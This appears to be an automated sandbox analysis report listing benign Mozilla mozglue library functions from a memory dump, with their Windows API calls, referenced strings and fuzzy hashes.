Opcode Fuzzy Hash: 0eddb771d27792fb7697e4c2b25200ee98dc389f26730b3aab78651afe1d21a9
Instruction Fuzzy Hash: 9431AF71F0020A9FDF14DFB9D848AAA77BDFB49708F104029E601A7A50FB76A904CF61

Function 6C314480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C354843,?), ref: 6C3145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C354843,?), ref: 6C31468A
free.MOZGLUE(?,?,?,?,?,?,6C354843,?), ref: 6C3146C9
free.MOZGLUE(?), ref: 6C3146EF
free.MOZGLUE(?), ref: 6C314712
free.MOZGLUE(?), ref: 6C314735
free.MOZGLUE(?), ref: 6C314758
free.MOZGLUE(?), ref: 6C31477B
free.MOZGLUE(?), ref: 6C31479E

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: f1ead27c6a432826dc49cd8720b75d7cf589180d92d8cccd7ef205222e8c922b
Instruction ID: 5ee13308d0121941bee381ee34583acc5ab6ad2239753d4e058a82e9addaca5d
Opcode Fuzzy Hash: f1ead27c6a432826dc49cd8720b75d7cf589180d92d8cccd7ef205222e8c922b
Instruction Fuzzy Hash: 94B1E372A081518FDB1C9E3CD89076D76A6AF4232CF184629E466DFFC6D732D8408F92

Function 6C37AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C37AC52
CreateFileMappingW.KERNEL32 ref: 6C37AC7D
GetSystemInfo.KERNEL32 ref: 6C37AC98
MapViewOfFile.KERNEL32 ref: 6C37ACB0
GetSystemInfo.KERNEL32 ref: 6C37ACCD
MapViewOfFile.KERNEL32 ref: 6C37AD05
UnmapViewOfFile.KERNEL32 ref: 6C37AD1C
CloseHandle.KERNEL32 ref: 6C37AD28
UnmapViewOfFile.KERNEL32 ref: 6C37AD37
CloseHandle.KERNEL32 ref: 6C37AD43
CloseHandle.KERNEL32 ref: 6C37AD67

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 79615e1cf0dfdab09ed7b884edad13edc6ff364d093ad8f26da2f0dfc7058ab3
Instruction ID: d7144145339f1e6d6ab4c20f4eb1bc4318d25c8ebbd52a84934718c4ec881c4a
Opcode Fuzzy Hash: 79615e1cf0dfdab09ed7b884edad13edc6ff364d093ad8f26da2f0dfc7058ab3
Instruction Fuzzy Hash: 27316FB1A047048FDB10FF78D64826EBBF8BF85319F01892DE98597211EB759448CB92

Function 6C329620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C329675
__Init_thread_footer.LIBCMT ref: 6C329697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C329707
__Init_thread_footer.LIBCMT ref: 6C32971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329773

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3297B7
FreeLibrary.KERNEL32 ref: 6C3297D0
FreeLibrary.KERNEL32 ref: 6C3297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329824

Strings

NtMapViewOfSection, xrefs: 6C329701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C329670
ntdll.dll, xrefs: 6C3296E3
MapViewOfFileNuma2, xrefs: 6C3297B1

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 08a7c7736d0b42845566a0c951a07d41a33562b85447a8a92f1b6e9d5ead5160
Instruction ID: f63a5aa932b7910d252d0aae09dd38f3404c754ba53c40d069741cdddfb4203a
Opcode Fuzzy Hash: 08a7c7736d0b42845566a0c951a07d41a33562b85447a8a92f1b6e9d5ead5160
Instruction Fuzzy Hash: 79415D75B003059BDF00DFA9E884A9A77B8EB4D3A8F104529FD5597740E736A814CFA1

Function 6C360000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C360039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C360041
GetCurrentThreadId.KERNEL32 ref: 6C360075
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C360082
moz_xmalloc.MOZGLUE(00000048), ref: 6C360090
free.MOZGLUE(?), ref: 6C360104
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C36011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C36005B

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: e39efd33e8f29148c408e0f91df0545e4389c5868638da82e87f268b6b159dfd
Instruction ID: 0ed58c4f2fef29d49a96b4c393eb736b9b4bd1848d752e49749f2927d62e897e
Opcode Fuzzy Hash: e39efd33e8f29148c408e0f91df0545e4389c5868638da82e87f268b6b159dfd
Instruction Fuzzy Hash: 1241A0B65003449FCB10CF65C841A9ABBF5FF49318F40491DE99A87B40E732B815CF96

Function 6C327E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C327EA7
malloc.MOZGLUE(00000001), ref: 6C327EB3

Part of subcall function 6C32CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C32CB49
Part of subcall function 6C32CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C32CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C327EC4
mozalloc_abort.MOZGLUE(?), ref: 6C327F19
malloc.MOZGLUE(?), ref: 6C327F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C327F4D

Strings

d, xrefs: 6C327F89

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: d31150e0afc9bbbe56fbcc41738b169183d63b26faf9a6d120a8585e60632baa
Instruction ID: 1fa4253cd4f2b5ea309a1e41061b928f97e14192273ffba3b01434dc9e5a0bba
Opcode Fuzzy Hash: d31150e0afc9bbbe56fbcc41738b169183d63b26faf9a6d120a8585e60632baa
Instruction Fuzzy Hash: 10310761E0434997DF009B68DC049FEB77CFF96218F049229DD8957612FB31A588C791

Function 6C323E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C323EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C323FDC
RtlAllocateHeap.NTDLL ref: 6C324006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C3240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C323CCC), ref: 6C3240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C323CCC), ref: 6C3240C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C324134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C323CCC), ref: 6C324143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C323CCC), ref: 6C324157

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 75e825f2265885c0d5f69ed37c49df51c2f8b48d661c566cd73fc423d05baaf0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: A9A18EB1A00215CFDB50CF68D880699F7B9FF48318F258599D909AF742D776E886CFA0

Function 6C312030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C333F47,?,?,?,6C333F47,6C331A70,?), ref: 6C31207F
memset.VCRUNTIME140(?,000000E5,6C333F47,?,6C333F47,6C331A70,?), ref: 6C3120DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C333F47,6C331A70,?), ref: 6C31211A
EnterCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C312145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C333F47,6C331A70,?), ref: 6C3121BA
EnterCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C3121E0
LeaveCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C312232

Strings

MOZ_CRASH(), xrefs: 6C31227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C312253, 6C312268

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 97b0bf933cca60b0c48442f0fbe909fb3745c5a922b5f7f3b40a5ae6f270d442
Instruction ID: fb63803ff7b9bb34fdf301260f3b679a43efa881edd17b5260186a18cc38ad02
Opcode Fuzzy Hash: 97b0bf933cca60b0c48442f0fbe909fb3745c5a922b5f7f3b40a5ae6f270d442
Instruction Fuzzy Hash: 1E61C632F042168FCB08CE69CA8976E76B5AF86318F254235E564A7E94E7739C04CFD1

Function 6C369D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C368273), ref: 6C369D65
free.MOZGLUE(6C368273,?), ref: 6C369D7C
free.MOZGLUE(?,?), ref: 6C369D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C369E0F
free.MOZGLUE(6C36946B,?,?), ref: 6C369E24
free.MOZGLUE(?,?,?), ref: 6C369E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C369EC8
free.MOZGLUE(6C36946B,?,?,?), ref: 6C369EDF
free.MOZGLUE(?,?,?,?), ref: 6C369EF5

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: dd2841fed9c8b8ff632a6ca32af7f31dcfa0274c3a2bae8ac7cc1d0aef459a24
Instruction ID: de700def9e4a802d180e14dbfea6ac3b2dbacf25c9729345fa1ec557044771ea
Opcode Fuzzy Hash: dd2841fed9c8b8ff632a6ca32af7f31dcfa0274c3a2bae8ac7cc1d0aef459a24
Instruction Fuzzy Hash: D2719EB0909B818BC712CF19C48059BF3F4FF99325B449619E89E9BB05EB31E885CF91

Function 6C36DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C36DDCF

Part of subcall function 6C34FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C34FA4B

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DE0D
free.MOZGLUE(00000000), ref: 6C36DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C35DEFD,?,6C324A68), ref: 6C36DF32

Part of subcall function 6C36DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C36DB86
Part of subcall function 6C36DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C36DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C35DEFD,?,6C324A68), ref: 6C36DF65
free.MOZGLUE(?), ref: 6C36DF80

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 1cb5893ce665560e0f77b0d91e6ef36d1a6d0acbd8f797ff3fc20a3c5d3dd4d6
Instruction ID: 0ede4b0eb53d5d3466d89bc48e2652bf04df85f20109b9c2b079211068a76b61
Opcode Fuzzy Hash: 1cb5893ce665560e0f77b0d91e6ef36d1a6d0acbd8f797ff3fc20a3c5d3dd4d6
Instruction Fuzzy Hash: 3951E7766017109BD7109F2AD8806EEB3B6BF95308FA5051CD89A57F04DB32F819CF92

Function 6C375D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375DC9
std::_Facet_Register.LIBCPMT ref: 6C375DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375E45

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5314b8c0c22c26e142af92377a023d009416ff1bda16289d7791228f17900861
Instruction ID: c13dc97cc5648fc43a708a2da498cffbb8f868fae64557655b6483b24a3b4188
Opcode Fuzzy Hash: 5314b8c0c22c26e142af92377a023d009416ff1bda16289d7791228f17900861
Instruction Fuzzy Hash: 504171307002058FDB24DF65C9D8AAE77B9EF49358F14406CE50A9B791EB36D805CF65

Function 6C34CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C3131A7), ref: 6C34CDDD

Strings

<jemalloc>, xrefs: 6C34CF9F, 6C34CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C34CFA4, 6C34CFB8

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 87e5fdffce5b51d320bc58cd3a9da5891091f223910296965824a370664550ae
Instruction ID: b44c12cdad75bba459ec4a2d3ffc850b63f5c54af54b90e718ef6b36d24f207e
Opcode Fuzzy Hash: 87e5fdffce5b51d320bc58cd3a9da5891091f223910296965824a370664550ae
Instruction Fuzzy Hash: 1131E630B442155BEF10AEA59C45FAE7BF9BB41B5DF308014F611AFA80EB76D4488FA1

Function 6C31ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C31F100: LoadLibraryW.KERNEL32(shell32,?,6C38D020), ref: 6C31F122
Part of subcall function 6C31F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C31F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C31ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C31EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C31EDCC
CreateFileW.KERNEL32 ref: 6C31EE08
free.MOZGLUE(00000000), ref: 6C31EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C31EE32

Part of subcall function 6C31EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C31EBB5
Part of subcall function 6C31EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C34D7F3), ref: 6C31EBC3
Part of subcall function 6C31EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C34D7F3), ref: 6C31EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C31EDC1

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d16fe03eae0be41c313499c06d31b26ca8e9d0b48cc6316922dc1caecf96028e
Instruction ID: 7b389d2fc62df0bf788bfc67ccaf50a6de8bff69e3e722f2a39556bfc7823d6e
Opcode Fuzzy Hash: d16fe03eae0be41c313499c06d31b26ca8e9d0b48cc6316922dc1caecf96028e
Instruction Fuzzy Hash: 1851B071D093048FDB049F68D8446EEB7B4AF49318F44852DE8956BF40E7366988CFE2

Function 6C38A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C38A565

Part of subcall function 6C38A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C38A4BE
Part of subcall function 6C38A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C38A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C38A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C38A6B6

Strings

0, xrefs: 6C38A5FB
z, xrefs: 6C38A6AE

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: cc538df95292cc6400bfd4cb4d045868ecf648065435d3239418ac546df2a35c
Instruction ID: 87c508578c5774022e8fdd4927ff58e1d237ae2ad19804a667870f7ec9ba3911
Opcode Fuzzy Hash: cc538df95292cc6400bfd4cb4d045868ecf648065435d3239418ac546df2a35c
